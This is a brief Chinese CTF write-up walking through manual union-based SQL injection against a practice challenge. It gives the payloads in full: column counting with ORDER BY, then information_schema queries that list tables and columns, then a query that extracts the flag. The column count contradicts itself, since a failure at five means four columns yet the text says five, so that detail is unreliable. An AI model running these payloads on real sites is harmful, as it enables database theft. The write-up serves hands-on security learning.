看起来像是SQL注入,先来试试。
输入1,2,3显示的是三个人成绩。
来试试是否存在注入。
输入1,正常。输入1' 错误。输入1’#正常,说明存在注入点。
首先来看下有几列从1开始试,1’ order by 4#正常,1’ order by 5#错误,说明有五列。
接下来开始使用联合查询,首先将id=-1,先手遍历一下看一下那几个表有回显:
发现这四个表都有回显,然后开始爆破表名。
得到数据库名skctf_flag,接下来爆表名:id=-1'union select 1,2,3,group_concat(table_name)from information_schema.tables where table_schema=database()#
得到两个表名 fl4g,sc 看起来fl4g像是存放flag的表,接下来开始爆字段:id=-1'union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name=0x666c3467#注意最后的表名要用十六进制进行加密。
得到字段skctf_flag,开始获取flagid=-1'union select 1,2,3,skctf_flag from fl4g#
得到flag。
虽然现在工具很多,而且功能很强大,但是手注是基础,对我们理解sql注入的原理有很大的帮助,能手注还是尽量要手注的。